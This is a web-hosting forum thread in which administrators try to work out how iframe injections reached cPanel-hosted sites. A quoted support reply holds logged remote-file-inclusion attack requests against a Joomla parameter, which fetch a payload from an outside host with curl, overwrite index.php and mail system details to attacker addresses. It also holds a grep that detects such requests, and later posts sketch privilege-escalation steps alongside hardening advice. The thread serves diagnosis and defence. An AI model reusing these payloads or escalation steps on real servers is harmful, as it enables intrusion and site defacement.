iframe / javascript hacks?

I have seen that before, and from what I remember, it was done by a user using a php shell script to gain root access and replacing the iframe tags.

 

How'd he do that?

 

Through an insecure script including PhpBB, Joomla, and SMF. You'll have to update these applications to the latest release. If your clients are using custom Php or cgi/Perl scripts, make sure they are secure.

 

Did you read this thread?: http://forums.cpanel.net/showthread.php?t=61066

 

We have been suffering the same problems over the last few months and have not been able to specifically nail down what was the problem.

We've ensured everything is up to date, but I'm still not convinced the problem is fixed. Everything is up to date, so if its still occurring, then there’s either a problem with cPanel that cPanel haven’t patched, or there’s a problem with something else common on the servers ... the ftp server, MySQL server, PHP, Apache etc.

 

First of all, you should force all your users to use secure FTP (FTP over TLS). In this case login data is encrypted making it much more difficult to read them for the-man-in-the-middle. Also make sure that cPanel/WHM/Webmail is accessed via HTTPS only (use setting in Tweak settings).

 

Will you please stop cross-posting this on the forums. Stick to one thread.

If you believe that you were compromised through a cPanel related route you should contact cPanel and have them investigate before trying to patch things up. Do obviously make sure that you are running a supported and updated OS and kernel, though. Posting your cPanel, OS and kernel versions here would also help, together with which FTP daemon you are using.

 

Just yesterday one of our Dedicated Server clients contacted us about exactly the same problem as he knew we had / were experiencing similar issues.

I contacted cPanel last year and this was their response:

Code:

James,

It appears that a great number of attempts were made to inject commands via insecure scripts hosted on this server . The following is only a 3 line excerpt of what I found:

/usr/local/apache/domlogs/adomain.co.uk:211.213.178.106 - - [12/Sep/2006:17:55:52 +0100] "GET /news/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http://220.194.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_000.000.000.000%20kkparole@yahoo.com;uname%20-a%20|%20mail%20-s%20uname_i2_000.000.000.000%20topflash14@yahoo.com;echo| HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
/usr/local/apache/domlogs/adomain.co.uk:211.213.178.106 - - [12/Sep/2006:17:55:53 +0100] "GET /home/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http://220.194.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_000.000.000.000%20kkparole@yahoo.com;uname%20-a%20|%20mail%20-s%20uname_i2_000.000.000.000%20topflash14@yahoo.com;echo| HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
/usr/local/apache/domlogs/adomain.co.uk:211.213.178.106 - - [12/Sep/2006:17:55:54 +0100] "GET /cvs/index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http://220.194.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_000.000.000.000%20kkparole@yahoo.com;uname%20-a%20|%20mail%20-s%20uname_i2_000.000.000.000%20topflash14@yahoo.com;echo|  HTTP/1.1" 404 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

I used the following command to isolate these entries:

find /usr/local/apache/domlogs -exec egrep -iH '(wget|curl|lynx|gcc|perl|sh|cd|mkdir|touch)%20' {} \;

I cannot determine whether or not these were used to create an entry point for the intruder, however it is undoubtedly a good place to start. If any of these attempts were successful, this would allow the intruder to inject and execute a bind shell, then potentially further compromise your server with any number of exploits that are available to them. 

Unfortunately any further investigation of server compromise extends beyond the range of support we could provide, and would need to be done by a security consultant or the system administrator. 
--

Regards,
Stephen Bee
Technical Support
cPanel

I have replaced the domain in the logs with "adomain.co.uk" and the IP of the server with "000.000.000.000".

These types of scripting attacks are common place and 99.99% of them fail to do anything. Sites with no scripts, i.e. just a one page HTML index, have been affected with the iframe exploit. I'm convinced it’s either a cPanel problem or a 3rd party app with a hole yet to be patched. Either way, no one yet knows the specific cause. Are the servers rooted? They may well be, but I would like to know how. All of our cPanel servers run FreeBSD, our Dedicated Server client who was affected runs CentOS. What’s shared between the CentOS and FreeBSD box’s affected? Lots of things, Apache, PHP, Zend, pure-ftpd etc ... and cPanel.

 

iframe attacks are pretty old actually, while the method in which they're impletmented varies, the effect is the same. To gain control of a wide array of site pages at once and launch a form of spyware, adware, malware or whatever else junk they want from the page rendering using another form of Zero day hole in something like your browser.

You really need to setup mod_security on your server with a custom ruleset. The exploit string in which you posted is really really old. Basically the attackers using a php include on a remote file that runs as if it were part of the code on the users page.

Any clients machines I secure and configure haven't been affected by this so it must be related to a few different things.

1) The attacker finds a hole in your users local PHP script
2) The inject their own PHP code from a remote file making it run as if they uploade the page by regular FTP.
3) There are numerous ways you can easily collect the usernames of accounts, very very very easy.
4) You can start to then brute guess passwords of user accounts
5) You can then start scouring the server for local exploits and use them to your advantage. EG: The script you metioned in that include checks to see if wget, gcc and other system binaries are on the system and asssible for the attacker to use.
6) With a list of whats installed and what they can use, they can now download hacks and start trying to crack your machine and compiling code attempting to gain root, etc.
7) They can search any and all 777 permission files/directories and inject whatever they feel like. Good times for them, crappy time for the site owners and server owners to clean up the mess.


Preventing this is a combination of things that I won't go into complete details about but I'll brief over so you get the idea.
1) Lock your system binaries, like wget, gcc, and others to stop anyone from using them.
2) Secure PHP by disabling functions used such as: proc_open, exec, system, passthru and so on.
3) Make sure PHP/Apache is up to date
4) Install mod_security and have CURRENT ruleset! Mod_security through cPanel install has NO ruleset! I have rulesets I give all my clients which are tried, tested and true.
5) Have a current kernel installed, there are many exploits that still work on a lot of providers.

There are tons you can do to help lock your machine. If you don't know, then hire someone that's what we're here for, besides our good looks of course :D

 

You failed to read my post entirely.

That is what cPanel "found" on the server, but it was completely irrelevant to what was happening. Out of 800 sites on one server 60 have had the "iframe" added to them and over half of these were simply .html single page sites, with no dodgy permissions and no PHP scripting at all.

The index files were downloaded over FTP and then 5 secs later re-uploaded. There is no manipulation of PHP or insecure scripts that is allowing them to FTP to these user accounts and the usernames are not being brute forced because there are no failed authentication attempts from the IPs that upload the amended and infected index files.

So the question is, how have the username + passwords been obtained in the first place.

 

Probably a insecure script in one of the 800 accounts.... with this I could easily get a list of users. Or, someone signed up for malicious reasons which happens but not as often. For example, a reseller client of yours has a automated account signup script...

If I compromise a single PHP script on a server I can get all the user accounts and start digging in users directories as well. Users usually make their account login password the same as MySQL passwords, etc.

As you can see, i'm just trying to offer suggestions and show you how easy getting into a system is.

 

I'm well aware of how easy it can be to obtain sensitive information that could be used in a malicious way. But you didn’t bother to read post before you replied which riled me

As I said, some of the affected accounts are very basic one page html holding pages. No MySQL and no PHP.

 

You certainly *shouldnt* be able to do anything with the passwd file.